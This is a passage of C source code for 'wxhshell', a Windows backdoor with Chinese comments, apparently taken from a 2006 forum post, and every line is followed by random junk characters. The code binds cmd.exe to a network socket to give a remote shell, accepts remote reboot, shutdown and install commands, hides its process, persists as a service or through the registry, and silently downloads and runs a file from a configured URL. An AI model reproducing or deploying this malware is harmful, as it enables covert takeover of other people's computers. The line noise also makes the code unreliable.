  case '?': { 'TN{8~Gt*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n#4J]Z@  
    break; 7n 95>as  
  } A-wxf91+:  
  // 安装 OI}HvgV^!  
  case 'i': { MW[ 4^  
    if(Install()) 4b(irDT3F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mjvso0zj  
    else iCSM1W3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YTPmS\ H _  
    break; B*iz+"H  
    } Isgk  
  // 卸载 K<w5[E9V.  
  case 'r': { >hL'#;:f#  
    if(Uninstall()) FHcqu_;J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .x$T a l  
    else /~rO2]rZ@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [pWDhY  
    break; l/UG+7  
    } e(\S,@VN2  
  // 显示 wxhshell 所在路径 qf=[*ZY  
  case 'p': { pVa|o&,  
    char svExeFile[MAX_PATH]; +\Mm (Nd  
    strcpy(svExeFile,"\n\r"); UO!6&k>c  
      strcat(svExeFile,ExeFile); H$z+gbjJ  
        send(wsh,svExeFile,strlen(svExeFile),0); f$W}d0(F;  
    break; h8-tbHgpb  
    } )* nbEZm@  
  // 重启 '*ICGKoT  
  case 'b': { f -nC+   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tWOze, N  
    if(Boot(REBOOT)) U?ic$J]N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?~Ed n-" Y  
    else { \fR:+rbQ&|  
    closesocket(wsh); &q}@[ )V4  
    ExitThread(0); 0S7Isk2W  
    } +,^M{^%  
    break; :*+BBC  
    } .F3LA6se  
  // 关机 U`p<lxRgQ  
  case 'd': { _w/N[E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `LU,uz  
    if(Boot(SHUTDOWN)) uv!qE1z@':  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~S>ba']  
    else { ![!b^:f  
    closesocket(wsh); *g41"Cl  
    ExitThread(0); 5XUI7Q%  
    } =l'_*B8  
    break; 6ch[B`[h,  
    } QIV~)`;  
  // 获取shell ~JPzjE  
  case 's': { i@^`~vj  
    CmdShell(wsh); <0 idG  
    closesocket(wsh); oNsx Fi:  
    ExitThread(0); nJ})6/gK  
    break; j2qfEvU  
  } .u;TeP  
  // 退出 P]x+Q  
  case 'x': { h GXD u;{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *AQbXw]w  
    CloseIt(wsh); P1>X5:  
    break; 8Xzx ;-&4  
    } y" -{6{3  
  // 离开 7[1 R}G V  
  case 'q': { ,T~5iLKY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i4r~eneP  
    closesocket(wsh); ^JDV4>S\  
    WSACleanup(); CscJy0dB  
    exit(1); BmF>IQ`M?  
    break; 1O7ss_E  
        } #R~NR8( z  
  } k$_]b0D{4  
  } Z|dZc wo  
WA5kX SdIb  
  // 提示信息 B "zg85 e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3 v$4LY  
} #}yFHM?i  
  } 7 ~8Fs@  
%9Fg1LH42r  
  return; =e/4Gs0*  
} 0U*"OSpF  
PQ1NQy8  
// shell模块句柄 bK1`a{  
int CmdShell(SOCKET sock) \bSHBTK  
{ IE f^.Z  
STARTUPINFO si; : {Z^ _;Tf  
ZeroMemory(&si,sizeof(si)); p&l:937  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k $&A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B9:0|i!!A`  
PROCESS_INFORMATION ProcessInfo; |?=1tS{iT  
char cmdline[]="cmd";  "<h#Z(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N|vJrye  
  return 0; E8<i PTJs  
} IfCqezd  
o:\a  
// 自身启动模式 O^% ace1  
int StartFromService(void) /k"P4\P`+Q  
{ K!gFD  
typedef struct s7} )4.vO  
{ -- FtFo  
  DWORD ExitStatus; ,peE'   
  DWORD PebBaseAddress; Bys|i0tb-  
  DWORD AffinityMask; obolDh a  
  DWORD BasePriority; C8q-gP[  
  ULONG UniqueProcessId; JCfToFB  
  ULONG InheritedFromUniqueProcessId; R\amcQ 9  
}   PROCESS_BASIC_INFORMATION; kl"Cm`b)  
)d`$2D&iY  
PROCNTQSIP NtQueryInformationProcess; !P3|T\|]+  
M0 8Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oU?X"B9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W^Y(FUy~  
W%cPX0  
  HANDLE             hProcess; >GUTno$J  
  PROCESS_BASIC_INFORMATION pbi; >@uYleD(  
]#.#]}=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  B4ze$#  
  if(NULL == hInst ) return 0; e90z(EF?0  
{ rn~D5R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3R .cj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9V\`{(R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0O4mA&&!oK  
EtGr& \,  
  if (!NtQueryInformationProcess) return 0; .r'.5RI A  
\0*LfVr;P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a $:N9&P  
  if(!hProcess) return 0; c'R|Wyf  
v4aGL<SO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M6!brj\[|  
7^=jv~>wP  
  CloseHandle(hProcess); ,u2<()`8D  
p2^OQK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +-d>Sl (  
if(hProcess==NULL) return 0; Cz)D3Df^  
T]2q >N  
HMODULE hMod; heA\6W:u&  
char procName[255]; jqedHn x  
unsigned long cbNeeded; a!]%@A6p  
7yl'!uz)9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 92Iv'(1ba  
"O "@HVF@  
  CloseHandle(hProcess); 0in6 z  
JN)t'm[kyE  
if(strstr(procName,"services")) return 1; // 以服务启动 -wRzMT19MG  
d*HAKXd&:j  
  return 0; // 注册表启动 JH#+E04#  
} cTp+M L  
bxq`E!]  
// 主模块 cgOoQP/#  
int StartWxhshell(LPSTR lpCmdLine) K? k`U,  
{ FG\?_G  
  SOCKET wsl; %xz02$k  
BOOL val=TRUE; sNVD"M,  
  int port=0; h+@t8Q;gGw  
  struct sockaddr_in door; \gpKQt0  
|\t_I~de  
  if(wscfg.ws_autoins) Install(); 0=&]!WRT  
H(s^le:!  
port=atoi(lpCmdLine); o+&sodt|`  
etVE8N'  
if(port<=0) port=wscfg.ws_port; e>.xXg6Zn  
5H5Kt9DoW  
  WSADATA data; ]3'd/v@fT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M(f'qFY=K  
QNFrkel  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eSU8/9B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n3\vq3^?  
  door.sin_family = AF_INET; vcHDFi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dX=^>9hN/  
  door.sin_port = htons(port); qFk(UazN  
is$d<Y&F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m<4Lo0?nS  
closesocket(wsl); ZxW V ,s&p  
return 1; Op{Mc$5a  
} $@Fj_ N  
j;.&+.  
  if(listen(wsl,2) == INVALID_SOCKET) { a\MJbBXv  
closesocket(wsl); :e;fs.C  
return 1; Z# 04 ]  
} Tw5BvB1  
  Wxhshell(wsl); VK#zmEiB  
  WSACleanup(); /xzL!~g`6<  
&#l M$7/  
return 0; FCPbp!q6  
/2@@v|QL  
} PdZSXP4;k  
G'Y|MCKz>  
// 以NT服务方式启动 y6oDbwke  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X1"nq]chGy  
{ zqkmsFH{  
DWORD   status = 0; 9^tyjX2  
  DWORD   specificError = 0xfffffff; {PKER$C  
\!3='~2:=o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j3>< J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LmE-&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mVLGQlvVK  
  serviceStatus.dwWin32ExitCode     = 0; BJ5#!I%h  
  serviceStatus.dwServiceSpecificExitCode = 0; #z.x3D@^r6  
  serviceStatus.dwCheckPoint       = 0; 5{> cfN\q  
  serviceStatus.dwWaitHint       = 0; m[f\I^ \%8  
%y q}4[S+o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :?J$ +bm}  
  if (hServiceStatusHandle==0) return; ' e@}N)IX  
'Vd>"ti  
status = GetLastError(); ?)&TewP  
  if (status!=NO_ERROR) vKeK]  
{ ?kSs7e>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 21qhlkdc  
    serviceStatus.dwCheckPoint       = 0; 92i# It}-/  
    serviceStatus.dwWaitHint       = 0; ~ocr^V{"<~  
    serviceStatus.dwWin32ExitCode     = status; wHmEt ORo  
    serviceStatus.dwServiceSpecificExitCode = specificError; EA\~m*k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 79v&6Io  
    return; K5$ y  
  } !FO)||'[  
sIpK@BQ'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3A5" %  
  serviceStatus.dwCheckPoint       = 0; ;g9+*$Gw  
  serviceStatus.dwWaitHint       = 0; ;#due  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |*b8-a8<  
} lQzrf"N'  
62"ND+D4  
// 处理NT服务事件,比如:启动、停止 @."R9s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /%)J+K)  
{ ~VKw%WK  
switch(fdwControl) `PL!>oa(8  
{ QS_u<B  
case SERVICE_CONTROL_STOP: o,-@vp  
  serviceStatus.dwWin32ExitCode = 0; GCoqKE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ])`F$S  
  serviceStatus.dwCheckPoint   = 0; H4N==o  
  serviceStatus.dwWaitHint     = 0; = U5)m  
  { ?2M15Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?=,tcN  
  } 8HzEH-J   
  return; aF:I]]TfK~  
case SERVICE_CONTROL_PAUSE: 1\Mcs X4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G9 !1Wzs  
  break; }7V/(K  
case SERVICE_CONTROL_CONTINUE: z)26Ahm TV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|+tRl  
  break; F~B8XUa3  
case SERVICE_CONTROL_INTERROGATE: Ah,Zm4:  
  break; i[<O@Rb  
}; 6Z$T& Ul{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W +S>/`N  
} k`-L5#`  
w*+rBp,f  
// 标准应用程序主函数 =<g\B?s]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C}!|K0t?  
{ [8"nRlXH  
V;m3=k0U  
// 获取操作系统版本 ^^Ius ]  
OsIsNt=GetOsVer(); +m1edPA[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O@[q./VV,  
z|9 ^T@)  
  // 从命令行安装 T<OLfuV  
  if(strpbrk(lpCmdLine,"iI")) Install();  >4Lb+]  
V{npK(  
  // 下载执行文件 ?$ 3=m)s  
if(wscfg.ws_downexe) { b7$?'neH/.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eRGip2^cq+  
  WinExec(wscfg.ws_filenam,SW_HIDE); cX*^PSM  
} u^ T2  
T:si?7CR  
if(!OsIsNt) { 0<Y)yNsV  
// 如果时win9x,隐藏进程并且设置为注册表启动 +,smjg:O  
HideProc(); ' o 5,P/6  
StartWxhshell(lpCmdLine); n8?gZ` W  
} |peZ`O^ ~  
else {M=tw  
  if(StartFromService()) \^+sgg{  
  // 以服务方式启动 Ei#"r\q j_  
  StartServiceCtrlDispatcher(DispatchTable); kxKBI{L  
else S\C   
  // 普通方式启动 ?.T=(-  
  StartWxhshell(lpCmdLine); ?D.] c;PR  
Nk 7Q  
return 0; P"- ,^?6  
}
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只看该作者 1 发表于: 2006-10-10
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